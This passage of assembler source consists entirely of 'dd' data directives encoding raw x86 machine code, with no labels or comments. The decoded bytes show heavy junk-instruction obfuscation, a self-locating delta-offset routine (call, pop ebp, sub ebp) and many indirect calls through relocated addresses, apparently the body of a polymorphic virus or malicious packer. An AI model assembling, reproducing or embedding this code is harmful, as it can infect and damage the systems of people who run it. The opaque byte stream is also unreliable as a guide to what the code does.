		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 74C35646h
		dd 77BB9E69h, 0FF548DCBh, 3244995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 21A02705h
		dd 0FC1AAC0Eh, 0A6F7B58Bh, 6A0606h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 76F71BC3h
		dd 7D653C72h, 80E09465h, 858B6EF3h, 6033131h, 0C48689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 93E45FC3h, 31606247h, 32DF98Dh, 0DBB96606h
		dd 9D8B6182h, 6030091h,	20A5958Bh, 0DE8B0603h, 6A04C283h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 21ABC355h, 6A205089h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 29E8C351h
		dd 8DA7B252h, 6BB1685h,	14E95706h, 79000000h, 755FCDEEh
		dd 26FCABD4h, 0C2CB6678h, 0E336EEC0h, 5F664898h, 7C98D89h
		dd 86890603h, 0B8h, 853CE381h, 6A0146h,	999BD29h, 0B5FF0603h
		dd 606A703h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	44C35343h, 66268F03h, 0FFEE90BFh, 30CFD95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 3309D6A3h, 813F5FBBh, 159D8B71h, 9606031Bh, 0C7BB6650h
		dd 6A96DBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0AF5C08C3h, 4D15E54Dh, 60CA79E3h,	0E6816650h
		dd 0F5BBA48h, 68Eh, 61853300h, 6106031Eh, 559589h, 0B5FF0603h
		dd 606A703h, 26759589h,	95FF0603h, 6032E7Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C2C35040h, 0D7C7A05Dh
		dd 12F19D89h, 0BD830603h, 60326C9h, 34840F00h, 96000000h
		dd 1ADC86BFh, 31B35013h, 50006A96h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 2D04A8C9h, 1417730Fh
		dd 2C16CB81h, 0FFF800E0h, 6A703B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0CD1F7DC7h
		dd 32128186h, 0B995FF39h, 6A060314h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D79C353h
		dd 7E68E4E6h, 0FF42B362h, 6A703B5h, 62CF8006h, 0C9595FFh
		dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0DFB645C3h, 702072B2h, 14D5B531h,	0BD830603h
		dd 6032D4Dh, 5B840F02h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0F0BBC356h
		dd 858BF9D2h, 60323EDh,	56DAB70Fh, 194DBD8Bh, 0C65B0603h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0F727BC3h, 0F27608Eh, 185h, 85C7FC00h, 6033081h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 86C35040h
		dd 0BB1EAC72h, 385BD89h, 1DE90603h, 6AFFFFF3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0D015C353h, 89219BD1h, 3235995h, 66C18B06h, 19A6EF81h
		dd 1309858Dh, 0C7800603h, 0BB6690ECh, 0E950A06Eh, 11h
		dd 0F4D7CD56h, 7FB5B131h, 6739D1DEh, 0DB30AD4Dh, 8C0F90DEh
		dd 3, 6AFFB70Fh, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 1E08F1F3h, 0DE8B006Ah
		dd 1601BD8Bh, 858D0603h, 60758A4h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 10C35040h, 0E51BD8Bh, 0C0830603h
		dd 0F7816605h, 605097A1h, 0CE8h, 395C3200h, 0A2228744h
		dd 0C90EF47Eh, 5BFA8B4Dh, 5B525250h, 0EE9310Fh,	0BD000000h
		dd 14B1AE7Ah, 567C7C82h, 0DD41726Dh, 61585A0Eh,	81240489h
		dd 1AB8F6D3h, 81006A77h, 0F69AE2EBh, 6830F50h, 33000000h
		dd 31D31BDh, 6A006A06h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 6AD6C353h, 895F508Fh
		dd 31CC9B5h, 0F995FF06h, 6A06031Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0C72FC351h
		dd 99338D8Dh, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 43360EC3h, 7420169Eh, 33086A49h
		dd 31821BDh, 259D3306h,	0FF06030Fh, 0F1B589D1h,	83060312h
		dd 31D89BDh, 850F0106h,	71h, 2005BD33h,	26A0603h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A5C35040h, 3CFF8C3Dh
		dd 3BEC560h, 32A09BDh, 9DBD8B06h, 50060323h, 5BFB8B53h
		dd 60240489h, 80FB8B66h, 0FF61A1D5h, 30CFD95h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 389A1D3h, 325D99Dh, 0C52E906h, 0E80000h, 5D000000h
		dd 58AEED81h, 0BD8B0607h, 6032559h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 84C35646h, 18E59D89h, 858D0603h
		dd 6069100h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	67C35242h, 51B19506h, 37165F58h, 50FB8B66h, 0F525060h
		dd 8Eh,	66310F00h, 5AB480BFh, 614CB558h, 0FC240489h, 35FF64h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 6A20C353h, 644D9DA9h, 2589h, 8B660000h
		dd 68E0FF8h, 2B000000h,	32EF99Dh, 185FF06h, 306031Dh, 308D9BDh
		dd 0BBFF6A06h, 4B455533h, 2F75B5FFh, 81660603h,	0FFC2DDEFh
		dd 31B4D95h, 11AE906h, 0B00000h, 0CE9h,	51E66000h, 43063DA7h
		dd 7252E92Eh, 0F970E680h, 5E971E4h, 0DE000000h,	4E8CD68Ch
		dd 0DE9h, 0D8E3F600h, 0FB248160h, 5F22B2AFh, 613C6FB0h
		dd 0DE830Fh, 800F0000h,	6, 0F71BD8Bh, 0B60F0603h, 0FE9C8h
		dd 32970000h, 0E9DD6A8Ch, 5C4285A7h, 0C34120E9h, 6BAC0h
		dd 8B660000h, 0E9C18BF9h, 9, 0FB6F0287h, 528D22C8h, 0E8C1F52Eh
		dd 0B9BD2904h, 57060307h, 94270BBBh, 0F7665F17h, 0BE9E2h
		dd 31D0000h, 9FB8E4F6h,	0D95596AFh, 0BD8B5761h,	6032E25h
		dd 0FC82B5Bh, 0D18BFFB7h, 1BD59D89h, 1E90603h, 0FC000000h
		dd 2E9D858Bh, 9D8B0603h, 6032539h, 0F07C083h, 0C083DAB7h
		dd 699D3300h, 3B060325h, 0E830FD0h, 89000000h, 31F018Dh
		dd 36E906h, 0BF0F0000h,	798D8BDAh, 66060322h, 0DB18EF81h
		dd 0F01E183h, 1F84h, 0B6D38100h, 834F6C2Eh, 32279A5h, 0BF66FE06h
		dd 95895D65h, 6032E9Dh,	0E9DFB70Fh, 0
		dd 0DD9EB58Dh, 9D8B0606h, 603032Dh, 0BD8B006Ah,	60330C5h
		dd 23A595FFh, 0B9FC0603h, 981h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 3C35545h, 890639FEh, 30FDDB5h
		dd 0FCE18306h, 26A1BD8Bh, 60FC0603h, 61FCFA8Bh,	0B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0B25049CAh, 89F8EFADh, 329ED8Dh, 0BA06h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0A30C0BC3h, 1D2F6391h, 33AD4CD2h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0AF2B23C3h, 276170E2h, 5B5B5352h,	880Dh
		dd 0F18D2900h, 8B06030Eh, 320A595h, 25DF8106h, 8B74E7EAh
		dd 31A658Dh, 0BB665606h, 505F668Ah, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 79858958h, 89060305h,	308E185h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 121BD86h, 6FAF6EC9h, 8166520Eh, 8BE1F5DBh
		dd 304A19Dh, 0DBD8306h,	60321h,	3E840Fh, 0B70F0000h, 0B8FEh
		dd 0BD8B0000h, 6032175h, 4D698D8Dh, 0C7810603h,	503410F2h
		dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD8B5DC3h, 6030875h, 71BD83h, 0F000603h
		dd 4B084h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 91BD3160h, 8B060320h, 32D41BDh, 71BD8306h
		dd 1060300h, 496840Fh, 85890000h, 60316F1h, 71BD83FCh
		dd 3060300h, 44C860Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0C76CE2C3h, 60DCE2A3h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 6CC35545h
		dd 567C11Dh, 8C6676D1h,	50006AD9h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 84A3D108h, 0F59F1E68h
		dd 8FBF66E5h, 2840F23h,	0B3000000h, 4E1800Eh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 70C35141h, 0F4D07202h
		dd 0E8DCA248h, 5, 556D4BF6h, 0C5B660AEh, 61D2CC80h, 0FC90A5Bh
		dd 12A84h, 6B11BB00h, 858B5A5Ah, 60309ADh, 0F5F38166h
		dd 33D6B3ACh, 31A5985h,	0F9B58906h, 5006032Bh, 8E9h, 40E11100h
		dd 0E482EC45h, 24048994h, 2091BD03h, 6A0603h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 41C35747h, 23A6FBFDh
		dd 4E8h, 1F03FF00h, 0F525000h, 48Ah, 10BF6600h,	0BB310FFAh
		dd 23CFEB79h, 6050585Ah, 59525250h, 0B966310Fh,	585ADF3Ah
		dd 2C3FC1BBh, 448B615Eh, 0BDBB0424h, 8B594FABh,	810F00h
		dd 89000000h, 0E8042444h, 9, 74AD8936h,	5D6A0C24h, 0DE998h
		dd 85360000h, 48FBEFABh, 75345513h, 5B4C171Bh, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8BD4A184h, 31735BDh,	7195FF06h, 6A06032Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 8F21C353h, 0AE1E69F4h, 0C3816E4Dh, 64C6C9A5h, 0A7038589h
		dd 0BD8B0606h, 60305F5h, 1DFE9h, 999D8900h, 8B06031Fh
		dd 6A6FB85h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0EB5122E4h, 0FE9E0h, 7F20000h, 0F4DB5642h
		dd 6C724615h, 56365B37h, 0DD858937h, 0C706030Bh, 1800h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0BB0B8B7Ch, 0B58B489Fh, 606A6FFh, 5E9h
		dd 5C51CD00h, 858B0C06h, 6031F89h, 89FA8B66h, 15EF8006h
		dd 9AD858Bh, 3600603h, 32C2185h, 0FE806h, 31C90000h, 1513084Ch
		dd 210DA28Bh, 0F6E55431h, 69958B26h, 5F06032Dh,	4468961h
		dd 50DE8B66h, 86D0BB66h, 6A243489h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0E95DC351h
		dd 9, 0C73D6E67h, 0AA80EF2Ah, 0FBB5FF61h, 6A0606A6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 90A3C352h, 4591AD94h, 4E8AA23h, 0FF000000h, 66001F03h
		dd 5062A2BFh, 2870F56h,	8B000000h, 448B5FDFh, 0CE80424h
		dd 0D9000000h, 9743A5E3h, 4B4F6DF5h, 5B6DBE94h,	0B960008Bh
		dd 13C04489h, 1561BF66h, 24448961h, 0B1BF6604h,	6A58F5h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0EB807FC3h, 3858DB5h, 0F0606A7h, 887h, 2850F00h, 56000000h
		dd 0EE9505Fh, 39000000h, 9BD2B27Fh, 0A25F8428h,	0E6D27F99h
		dd 240489B3h, 19C59529h, 95FF0603h, 6032E71h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0DEC35242h, 0DE951h
		dd 5ABC0000h, 0E80BBA83h, 0D993365Eh, 5BB63307h, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0C3A14D33h, 2EB7C260h, 7185C7B5h, 3060300h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0F648C351h, 0F5AE3683h, 3DC0B2Eh,	31E299Dh
		dd 3BD8306h, 606A7h, 2C840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 6F7C83C3h
		dd 0BF59509h, 1EE90603h, 66000000h, 3050DE8Bh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0F4AABBC0h
		dd 8B0F6A87h, 0
		dd 2860F51h, 0B3000000h, 0BD835FD5h, 6030071h, 85850F03h
		dd 66000003h, 0BD83F88Bh, 606A703h, 75840F00h, 2B000003h
		dd 330999Dh, 3B5FF06h, 0E90606A7h, 10h,	0F4451808h, 3B23E42Fh
		dd 6EB95786h, 3326C5Fh,	2A7595FFh, 6A0603h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 882343C3h
		dd 8BDD6DA3h, 6A6F7B5h,	0B1BD8B06h, 0C706031Fh,	1000106h
		dd 0A58D2900h, 96060309h, 50FB8B66h, 6890Fh, 66510000h
		dd 5FF123BFh, 1FD38196h, 0FF2DC907h, 6A703B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0B71C5848h, 8B26C4D8h, 31925BDh, 35858906h, 0FF060317h
		dd 3244995h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8B662A1Dh, 0F7B58BFBh, 890606A6h
		dd 3247585h, 31858B06h,	0E8060331h, 11h, 3DC2B63Eh, 0E778DD73h
		dd 27168F73h, 35668A3Bh, 0DD9D893Ch, 5B06030Bh,	0C48689h
		dd 8D290000h, 6032AEDh,	20A5958Bh, 0BF0F0603h, 4C283FAh
		dd 2995BD2Bh, 50890603h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BF0F628Eh, 55EF81FBh
		dd 8D516D32h, 6BB1685h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0E82F4857h, 0D7C69D2h
		dd 2DDDB589h, 86890603h, 0B8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 4EC35040h, 0D6779F6h, 2B9E3E14h
		dd 138D9D89h, 0BD230603h, 6031A69h, 0BD23006Ah,	6032459h
		dd 0A703B5FFh, 0B5890606h, 6032C2Dh, 0CFD95FFh,	81660603h
		dd 500BA8E3h, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 8B24C356h, 0C3D9531h
		dd 0B5FF0603h, 606A703h, 23BDBD89h, 0AE90603h, 6F000000h
		dd 0FA5B4B54h, 0CAE2798Bh, 7D95FFBEh, 6A06032Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0FBD6C355h, 0D5B40441h, 8F7FECF0h, 58C0Fh, 4DBF0000h
		dd 83697841h, 326C9BDh,	840F0006h, 35h,	1E019D8Bh, 66960603h
		dd 6650D98Bh, 96A03ABFh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 4EC35545h, 7084BF66h,	7919D1BBh, 3B5FF33h
		dd 6A0606A7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 6F31C350h, 0B5296030h,	6032F61h
		dd 0C6DB531h, 0F610603h, 95FFDEBFh, 60314B9h, 0B5FFD98Ah
		dd 606A703h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0AC35242h, 8BDD2517h, 300099Dh,	6D9D8B06h, 0FF06030Eh
		dd 30C9595h, 83DA8B06h,	32D4DBDh, 840F0206h, 38h, 0DEC38166h
		dd 0ED858B83h, 6A060323h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0D159C350h,	0C68FA362h
		dd 25F59589h, 0C60603h,	0FD8AF800h, 308185C7h, 603h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0A18719C3h, 6A6CD7F5h, 0B5896B3Dh, 6033045h,	0FFF490E9h
		dd 55BD89FFh, 8B060308h, 9D8B60C1h, 6030421h, 0AE9h, 4A34B400h
		dd 0DF8ED402h, 61815C9Ah, 1309858Dh, 6A0603h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 83B611C3h
		dd 7A775676h, 908AD780h, 6650F88Bh, 6A90DF8Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 991AC355h, 0A52B2187h, 2CD23DDBh, 0F98B006Ah, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8D8C23C3h, 7674485h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 4E7E9C50h, 87E2644Ah
		dd 0C083C1A0h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0E960F550h, 7,	0CEFA74BBh
		dd 603E52FDh, 7229B866h, 358406BFh, 90616119h, 50FB8B66h
		dd 96AABF66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 40714B4h,	6AB122h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 89F182C3h, 0E98D8986h, 0FF060330h, 31DF995h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0BB54DF48h, 3EBBE256h, 8D612F88h, 699338Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E9C66E2Eh, 0Ah, 0A14268E8h,	0B942106Ah, 0D1FFC5E3h
		dd 19FD8D89h, 0BD830603h, 6031D89h, 0A2850F01h,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 273AC350h, 0A67907EFh, 6A026Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5CDD6FC3h
		dd 0AC372752h, 1C59BD01h, 56500603h, 2404895Fh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 6BC35545h, 6CB88BDBh
		dd 61F38166h, 0FD95FFB7h, 6A06030Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0FE62C357h
		dd 29D42B8Ah, 3076DBDh,	0F85E906h, 0E80000h, 5D000000h
		dd 674EED81h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 2D9677C3h, 0F381F88Bh, 668E92C0h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B9C35242h
		dd 259D8B56h, 8D060326h, 6910085h, 49850106h, 90060323h
		dd 0BE9h, 0EDCEEA00h, 0C8DD43CBh, 6DE6E444h, 0AE850h, 6B8D0000h
		dd 9F52448Eh, 0C1C25299h, 5BFE8B66h, 19B52990h,	0F06030Bh
		dd 0B8Ch, 5840F00h, 0BF000000h,	2581D923h, 35FF64h, 89000000h
		dd 3197995h, 63D78106h,	6420D323h, 2589h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 8D055BC3h, 0A752DCEBh, 24319D01h, 85FF0603h,	6031D01h
		dd 118D0960h, 61060326h, 8B66FF6Ah, 4DB5FFDAh, 6A060325h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E9C2C357h, 0Eh, 240E290Ch, 0C1E6104Eh, 0CFBAFF1Ah
		dd 95FFA70Ch, 6031B4Dh,	102E9h,	890F00h, 2B000000h, 32D3D9Dh
		dd 8100B006h, 0F79E49E7h, 6670E640h, 71E4FA8Bh,	8019D89h
		dd 613C0603h, 0D9830Fh,	0EE90000h, 0A4000000h, 0EB0C53C2h
		dd 51E7B61Dh, 0C14FC3B6h, 7E921h, 381F0000h, 0EEB5465Eh
		dd 0C8B60F91h, 41FFBB66h, 6BAh,	8B4DB700h, 950160C1h, 6032551h
		dd 3E6A35B9h, 0E8C16166h, 75958904h, 66060321h,	8C0FE2F7h
		dd 6, 1A8D9589h, 0BD890603h, 6032D6Dh, 0BB66C82Bh, 0D18B3A44h
		dd 8BD8B70Fh, 32C9D9Dh,	6E906h,	8D290000h, 6031475h, 0C85858Bh
		dd 0D0BF0603h, 8321F2D8h, 816607C0h, 83FE85DBh,	9D8B00C0h
		dd 60304E1h, 830FD03Bh
		dd 12h,	6E9h, 0A3D78200h, 0E9AD8EB2h, 2Fh, 8D8BFE8Bh, 6032EB5h
		dd 26B59D89h, 0E1830603h, 18840F01h, 83000000h,	32EB5A5h
		dd 8589FE06h, 60306F9h,	0C859589h, 0E90603h, 8D000000h
		dd 6E904B5h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 6AC72722h, 0B8C0F00h, 0F000000h
		dd 58Fh, 0DB816600h, 95FFDAE7h,	60323A5h, 6E9h,	6DCDE400h
		dd 0B9D3C657h, 79Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0AAC35343h, 0E1837E6Dh, 52006AFCh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0FCF5C8F4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0C6C35343h, 0A689D1CEh,	0B70FC02Bh, 6AD22BDEh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0AD90C357h, 0E8D1C233h, 0E983D003h, 81F47504h
		dd 96D494D7h, 7D9D8B26h, 6A060326h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0D98C353h
		dd 88h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 0C35747h, 97C62341h,	8995C29Eh, 32425B5h, 0A5958B06h
		dd 6A060320h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8B15C353h, 31A658Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 97E67E04h, 10E90EBEh, 76000000h, 52051E6Eh, 27F7D296h
		dd 1164CF02h, 50C0C10Ch, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0B5896058h, 6032395h, 6A61FCh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4C64DCC3h
		dd 586D344Dh, 66D6278Bh, 83ADF7BFh, 3210DBDh, 840F0006h
		dd 75h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 9C35545h, 0B589DA8Ah, 60319E1h, 0B8h, 0ECBB6600h, 698D8D38h
		dd 8106034Dh, 0BDB4BF3h, 5E947h, 0CEDA0000h, 0FF8D0C9Dh
		dd 52006AE1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 19B67732h, 66E521F9h, 0E9E7F3BBh, 5, 91C2822Ah
		dd 71BD83ACh, 60300h, 553840Fh,	0DB810000h, 18F310B0h
		dd 71BD83h, 0F010603h, 55B84h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 8F65667Ah
		dd 1DF46368h, 19E19D89h, 0BD830603h, 6030071h, 0EF860F03h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0FE73C356h, 74DE9829h,	0FAC8B9Fh
		dd 1788h, 12E900h, 47620000h, 0E683A65Bh, 13F65802h, 1CD4284Bh
		dd 58FB5F93h, 5E8h, 0D1EA2B00h,	0BD334CADh, 6030FD1h, 6A605Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0BCDD8FC3h, 11E8FB89h, 0E5000000h, 2EDC874Eh, 0E8BC068Ch
		dd 0EB093ED9h, 75EAA7F8h, 8E9h,	0A70DA000h, 0A6CD3F69h
		dd 8C665FDDh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 4B4339B5h, 0E18007F8h, 11E904h, 0CECF0000h
		dd 0E4B3E738h, 15088E67h, 0A6B020B2h, 0A2F9E1Ah, 34840FC9h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0CB86C351h, 2C9C3E22h,	93DA7FD1h
		dd 9AD858Bh, 9D890603h,	60317A9h, 1A598533h, 0B5010603h
		dd 6030B31h, 893EB750h,	0AE82404h, 61000000h, 83008782h
		dd 0D8EA00D8h, 12E981h,	9CD20000h, 0CE196560h, 0E8480A62h
		dd 93537775h, 1388F3C4h, 6A006A5Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0DD08C350h
		dd 0D4123B4Fh, 0AE9601Eh, 1F000000h, 9F0013C5h,	1A332BA7h
		dd 6E18099h, 0CBF76861h, 0BF669C26h, 4818072h, 0F8380824h
		dd 56006A63h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0F3817CD8h, 6E7C3198h, 2E7195FFh, 66600603h
		dd 0E867A3BFh, 14h, 0CF145C9Fh,	0F0A2D446h, 3AB9CBD3h
		dd 0E549398Bh, 0F598E6A9h, 5FC6BF0Fh, 3858961h,	890606A7h
		dd 31B6D8Dh, 27AE906h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0B0889AC3h, 0D7CC9CDEh
		dd 8BEC6F7Dh, 6A6FB85h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8B2A78DAh, 309799Dh, 28F0F06h
		dd 0B7000000h, 1800C741h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 6449C356h
		dd 5176041Bh, 0FFB58BD7h, 6A0606A6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 3843C357h
		dd 602B3882h, 8BC0BF0Fh, 3004585h, 858B6106h, 6031F89h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 8CC35646h
		dd 15B111A3h, 9B94871h,	6A06898Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0F936C350h
		dd 0CB608250h, 6D8D8974h, 8B060304h, 31C31BDh, 0AD858B06h
		dd 6A060309h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 8331C350h, 0BA23151Bh,	0E7EB81ABh
		dd 896915FDh, 0BD8B0446h, 6031641h, 13E896h, 0E66E0000h
		dd 720D4DC7h, 0D6DA2821h, 53200BF2h, 0A9B049EAh, 4880F1Bh
		dd 66000000h, 5B2AB8BFh, 0F98B6650h, 52006A96h,	3E8h, 0C35A2000h
